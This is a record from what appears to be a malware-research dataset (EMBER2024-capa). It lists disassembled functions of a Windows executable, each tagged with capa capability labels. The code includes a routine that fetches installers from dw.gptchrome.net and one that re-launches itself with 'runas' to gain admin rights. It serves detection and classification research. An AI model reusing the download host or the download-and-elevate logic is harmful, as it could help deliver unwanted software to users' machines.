joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b250
Capabilities:
Check if file exists
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ded3d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x13c
push esi
push edi
mov esi, ecx
mov ecx, 0x51bcaa
mov dword [ebp - 4], 0
call fcn.004dd914
mov eax, dword [esi + 4]
push 0
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov eax, dword [eax]
push 0
mov dword [ebp - 0x148], eax
lea eax, [ebp - 0x148]
push eax
push 0x40ae10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xorps xmm0, xmm0
mov dword [ebp - 0x2c], eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov byte [ebp - 4], 1
call fcn.00403bf0
lea ecx, [ebp - 0x28]
push 0x40
cmp eax, 0x40
jne 0x40b31d
call fcn.00402b70
movups xmm0, xmmword [str.http:__dw.gptchrome.net_bropkg_GInstallerx64_157.exe]
mov ecx, eax
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x506f70]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [0x506f80]
movups xmmword [ecx + 0x20], xmm0
mov eax, dword [0x506f90]
jmp 0x40b349
call fcn.00402b70
movups xmm0, xmmword [str.http:__dw.gptchrome.net_bropkg_GInstallerx86_157.exe]
mov ecx, eax
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x506fa8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [0x506fb8]
movups xmmword [ecx + 0x20], xmm0
mov eax, dword [0x506fc8]
mov dword [ecx + 0x30], eax
xor edi, edi
mov dword [ebp - 0x28], ecx
mov byte [ecx + 0x34], 0
mov dword [ebp - 0x14], 0x3f
mov dword [ebp - 0x18], 0x34
push ecx
mov ecx, dword [ebp + 8]
mov esi, esp
mov dword [ebp - 0x34], esp
mov dword [ebp - 0x30], esi
lea ecx, [ecx - 0x10]
call fcn.00406700
add eax, 0x10
mov dword [esi], eax
sub esp, 0x18
mov byte [ebp - 4], 2
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.00405530
xor edx, edx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x140]
call fcn.004082d0
add esp, 0x1c
test al, al
jne 0x40b3b7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 5
jl 0x40b363
push 0xffffffffffffffff
push dword [ebp - 0x2c]
mov dword [ebp - 0x3c], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp - 0x14]
test eax, eax
setne byte [ebp - 0xd]
cmp ecx, 0x10
jb 0x40b408
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b3fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b438
push ecx
push edx
call fcn.004b09a5
add esp, 8
mov esi, dword [ebp + 8]
or eax, 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40b423
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
call fcn.004b8090
int3
Function at 0x40c7c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4deeb5
push eax
mov dword fs:[0], esp
sub esp, 0x24c
push esi
mov esi, ecx
mov ecx, 0x51bcaa
call fcn.004dd914
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x40c91f
push 0x208
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.004b4010
add esp, 0xc
lea eax, [ebp - 0x258]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x38
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x50], 0x3c
push 0
push eax
call fcn.004b4010
lea eax, [ebp - 0x258]
mov dword [ebp - 0x44], str.runas
add esp, 0xc
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x34], 1
mov dword [ebp - 4], 0
call fcn.00402de0
mov ecx, eax
test ecx, ecx
je 0x40c959
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
mov edx, 8
mov cl, byte [esi]
mov eax, 0x13
test cl, cl
lea ecx, [ebp - 0x14]
cmove eax, edx
mov edx, str._upprivi__can_ins_d
push eax
mov eax, str._upprivi
cmovne eax, edx
push eax
call fcn.004067e0
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x3c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x40c930
push 0x507224
lea ecx, [ebp - 0x10]
call fcn.00406300
push 0x11
push 0x507234
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00406970
push 4
push 0x507258
push dword [ebp - 0x10]
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x40c963
mov edx, dword [ebp - 0x10]
push edi
or edi, 0xffffffff
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c909
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
pop edi
jg 0x40c91f
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov al, 1
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40c948
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
xor al, al
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00402c50
push 0
call fcn.004befbb
int3
Function at 0x40edf0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4de900
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov ebx, ecx
mov ecx, 0x51b760
push edi
mov dword [ebp - 0x10], ebx
call fcn.004dd914
push 8
mov dword [ebx], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004b09db
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.004b2596
mov dword [esi + 4], eax
add esp, 8
mov eax, ebx
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
pop edi
pop esi
mov dword [edx], 0
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x415350
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
push esi
mov esi, ecx
mov ecx, 0x51bcaa
push edi
call fcn.004dd914
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x10], 0
push eax
lea eax, [esp + 0x1c]
mov word [esp + 0x14], 0x3a43
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x1a], 0x5c
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x24], 0
push eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
call edi
mov eax, dword [esp + 0x10]
imul eax, dword [esp + 0x14]
mul dword [esp + 0x18]
cmp byte [esi + 0x770], 0
mov dword [esi + 0x790], eax
mov dword [esi + 0x794], edx
je 0x4154dc
lea eax, [esp + 0x1c]
mov dword [esp + 0xc], 0
push eax
lea eax, [esp + 0x14]
mov word [esp + 0x10], 0x3a44
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x16], 0x5c
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x20], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x28], 0
push eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x30], 0
call edi
mov eax, dword [esp + 0x18]
imul eax, dword [esp + 0x14]
push 6
push 0
mov dword [esp + 0x14], 0
mul dword [esp + 0x18]
mov dword [esi + 0x798], eax
mov dword [esi + 0x79c], edx
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea eax, [esp + 0xc]
push eax
push 0x509ad8
push 0
push 0x508d30
call dword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
test eax, eax
js 0x4154ce
lea eax, [esp + 0x3c]
push eax
push 0x506350
call dword [sym.imp.PROPSYS.dll_PSGetPropertyKeyFromName]
test eax, eax
js 0x4154ce
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x20]
push edx
xorps xmm0, xmm0
lea edx, [esp + 0x40]
movaps xmmword [esp + 0x24], xmm0
mov eax, dword [ecx]
push edx
push ecx
call dword [eax + 0x34]
test eax, eax
js 0x4154ce
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp edi, 1
je 0x4154dc
cmp edi, 3
je 0x4154dc
cmp edi, 5
je 0x4154dc
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x4154dc
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
pop edi
mov dword [esi + 0x79c], 0
mov dword [esi + 0x798], 0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x415f40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4df85e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x21c
push esi
push edi
mov dword [ebp - 0x18], 1
mov ecx, 0x51bcaa
mov dword [ebp - 4], 0
call fcn.004dd914
mov esi, reloc.WS2_32.dll_accept
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
mov ecx, reloc.WS2_32.dll_bind
cmovne esi, ecx
mov byte [ebp - 4], 1
call fcn.00402de0
mov ecx, eax
test ecx, ecx
je 0x41611e
mov eax, dword [ecx]
call dword [eax + 0xc]
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x10]
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
mov dword [ebp - 0x18], 1
call fcn.00406300
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x10]
mov eax, dword [ebp + 0xc]
push dword [eax - 0xc]
push eax
call fcn.00406970
lea eax, [ebp - 0x14]
push eax
push 0x20119
push 0
push dword [ebp - 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x41605f
lea eax, [ebp - 0x14]
mov esi, reloc.WS2_32.dll_accept
push eax
push 0x20119
push 0
push dword [ebp - 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x41605f
mov edx, dword [ebp - 0x10]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x41602f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 0xc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x41610a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
push 0x208
lea eax, [ebp - 0x228]
mov dword [ebp - 0x20], 1
push 0
push eax
mov dword [ebp - 0x1c], 0x104
call fcn.004b4010
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push str.InstallLocation
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4160ce
lea ecx, [ebp - 0x228]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4160b0
sub ecx, edx
lea eax, [ebp - 0x228]
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.004067e0
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x10]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4160f2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x41610a
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
push 0x80004005
call fcn.00402c50
int3
Function at 0x41ed50
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, 0x1505
lea ebx, [esi + eax]
cmp esi, ebx
jae 0x41ed86
mov al, byte [esi]
push eax
call fcn.0042caf0
movsx ecx, al
inc esi
mov eax, edi
add esp, 4
shl eax, 5
add eax, edi
xor ecx, eax
mov edi, ecx
cmp esi, ebx
jb 0x41ed68
mov eax, 0x4104105
mov esi, edi
mul edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 5
mov ecx, esi
shl ecx, 6
sub ecx, esi
sub edi, ecx
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x42aee0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push 0x4e4fb8
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 4], eax
test eax, eax
jne 0x42af00
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 0x4e4fcc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp + 8]
mov ebx, eax
push 0x4e4fdc
push esi
mov dword [ebp - 8], ebx
call fcn.004c5d82
add esp, 8
test eax, eax
je 0x42af4c
test ebx, ebx
je 0x42af3c
push 8
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x42af75
push str.AddDllDirectory
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x42af75
push 0x800
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, eax
mov dword [ebp - 4], edx
test edx, edx
je 0x42b038
mov ecx, esi
lea ebx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42af91
sub ecx, ebx
sar ecx, 1
lea eax, [ecx + edx]
lea eax, [eax*2 + 2]
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x42b02e
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x42b02e
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42afd0
sub ecx, edx
sar ecx, 1
mov dword [ebx + ecx*2], 0x5c
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42aff0
sub ecx, edx
sar ecx, 1
add ecx, ecx
sub ecx, esi
add ecx, ebx
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [ecx + esi - 2], ax
test ax, ax
jne 0x42b005
mov eax, dword [ebp - 8]
test eax, eax
je 0x42b025
push 8
push 0
push ebx
call eax
jmp 0x42b02c
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
push ebx
call dword [0x517004]
add esp, 4
pop esi
pop ebx
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x42b050
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x5173c4]
xor eax, ebp
mov dword [ebp - 4], eax
test byte [ebp + 8], 2
je 0x42b0a9
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x42b096
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x42b090
shr eax, 8
cmp al, 2
je 0x42b0a9
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b1250
mov esp, ebp
pop ebp
ret
push str.iphlpapi.dll
call fcn.0042aee0
add esp, 4
mov dword [0x519568], eax
test eax, eax
je 0x42b0d4
push str.if_nametoindex
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x42b0d4
mov dword [0x519564], eax
push 3
push 2
push 0
push 0
push 6
call fcn.004585e0
add esp, 0x14
test al, al
setne byte [0x51ae4c]
push 0x51ae50
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004b1250
mov esp, ebp
pop ebp
ret

Function at 0x42d920
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x42d94b
cmp dword [esi + 0x84], 0
je 0x42d94b
push 2
push 3
push esi
call fcn.0042d0b0
push dword [ebp + 0xc]
call fcn.0042d3a0
add esp, 0x10
jmp 0x42d95a
push dword [ebp + 0xc]
call fcn.0042d3a0
add esp, 4
test esi, esi
je 0x42d96e
cmp dword [esi + 0x84], 0
je 0x42d96e
push 3
push esi
call fcn.0042d0f0
add esp, 8
pop esi
pop ebp
ret

Function at 0x42da50
Capabilities:
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x42da91
mov eax, dword [esi + 0x7c]
cmp byte [eax + 0x100], 0
jne 0x42da81
push 0
call fcn.0042da50
add esp, 4
test al, al
mov eax, dword [esi + 0x7c]
setne cl
inc cl
mov byte [eax + 0x100], cl
mov eax, dword [esi + 0x7c]
pop esi
cmp byte [eax + 0x100], 2
sete al
pop ebp
ret
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x42daa7
xor al, al
pop esi
pop ebp
ret
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
pop esi
pop ebp
ret
Function at 0x438510
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x43852b
cmp dword [edi], 0
jne 0x43853d
test esi, esi
je 0x438534
cmp dword [esi], 0
jne 0x43853d
test ebx, ebx
je 0x438586
cmp dword [ebx], 0
je 0x438586
push dword [ebp + 0x1c]
lea eax, [ebp - 8]
push dword [ebp + 0x18]
push eax
call fcn.0045d6b0
add esp, 0xc
test ebx, ebx
je 0x438558
cmp dword [ebx], 0
jne 0x43855a
xor ebx, ebx
test esi, esi
je 0x438563
cmp dword [esi], 0
jne 0x438565
xor esi, esi
test edi, edi
je 0x43856e
cmp dword [edi], 0
jne 0x438570
xor edi, edi
push eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
inc eax
push eax
call dword [sym.imp.WS2_32.dll_select]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call fcn.004384c0
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43b3e0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.0041f740
push dword [ebp + 8]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x10], xmm0
call fcn.00439d50
push dword [ebp + 0xc]
mov edi, eax
call fcn.00439d50
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExW]
add esp, 0xc
mov esi, eax
push 1
push esi
push edi
call ebx
test eax, eax
jne 0x43b467
lea eax, [ebp - 0x20]
push eax
call fcn.0041f740
movups xmm0, xmmword [ebp - 0x10]
sub esp, 0xc
mov ecx, esp
sub esp, 0x10
movups xmmword [ecx], xmm0
mov ecx, esp
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
call fcn.0041f7f0
add esp, 0x20
test edx, edx
ja 0x43b48a
jb 0x43b455
cmp eax, 0x3e8
ja 0x43b48a
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
push edi
call ebx
test eax, eax
je 0x43b420
test edi, edi
je 0x43b474
push edi
call fcn.004b8191
add esp, 4
test esi, esi
je 0x43b481
push esi
call fcn.004b8191
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x43b497
push edi
call fcn.004b8191
add esp, 4
test esi, esi
je 0x43b4a4
push esi
call fcn.004b8191
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43b8a0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [eax], ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x43ba1d
push esi
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x43ba09
push edi
nop dword [eax]
mov eax, dword [esi + 0x14]
test eax, eax
je 0x43b8fe
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x43b8f0
sub eax, edx
lea ecx, [eax + 1]
jmp 0x43b900
xor ecx, ecx
mov eax, dword [esi + 4]
mov dword [ebp - 8], ecx
cmp eax, 2
jne 0x43b912
mov eax, 0x10
jmp 0x43b920
cmp eax, 0x17
jne 0x43b9c5
mov eax, 0x1c
cmp dword [esi + 0x18], 0
mov dword [ebp - 4], eax
je 0x43b9c5
mov edx, dword [esi + 0x10]
test edx, edx
je 0x43b9c5
cmp edx, eax
jb 0x43b9c5
add ecx, 0x20
add eax, ecx
push eax
call dword [section..data]
mov edi, eax
add esp, 4
test edi, edi
je 0x43b9fe
mov ecx, dword [esi]
mov dword [edi], ecx
mov ecx, dword [esi + 4]
mov dword [edi + 4], ecx
mov ecx, dword [esi + 8]
mov dword [edi + 8], ecx
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp - 4]
mov dword [edi + 0xc], eax
lea eax, [edi + 0x20]
push ecx
mov dword [edi + 0x10], ecx
mov dword [edi + 0x14], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], eax
push dword [esi + 0x18]
push eax
call fcn.004b4170
mov edx, dword [ebp - 8]
add esp, 0xc
test edx, edx
je 0x43b9b3
mov eax, dword [edi + 0x18]
add eax, dword [ebp - 4]
push edx
mov dword [edi + 0x14], eax
push dword [esi + 0x14]
push eax
call fcn.004b4170
add esp, 0xc
mov eax, dword [ebp - 0xc]
test ebx, ebx
cmove ebx, edi
test eax, eax
je 0x43b9c2
mov dword [eax + 0x1c], edi
mov dword [ebp - 0xc], edi
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x43b8e0
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
pop edi
test eax, eax
je 0x43b9e2
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test esi, esi
je 0x43ba05
push ebx
call fcn.0043b870
mov eax, dword [ebp + 0x14]
add esp, 4
xor ebx, ebx
mov dword [eax], ebx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, 8
jmp 0x43b9d3
test ebx, ebx
jne 0x43ba15
mov esi, 0x2af9
push esi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43be30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call fcn.004bdd88
mov ecx, eax
add esp, 0x18
xor eax, eax
test ecx, ecx
je 0x43be57
cmp ecx, 0xffffffff
cmovne eax, ecx
pop ebp
ret

Function at 0x43bfe0
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.004b4010
add esp, 0xc
push 2
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
pop ebp
ret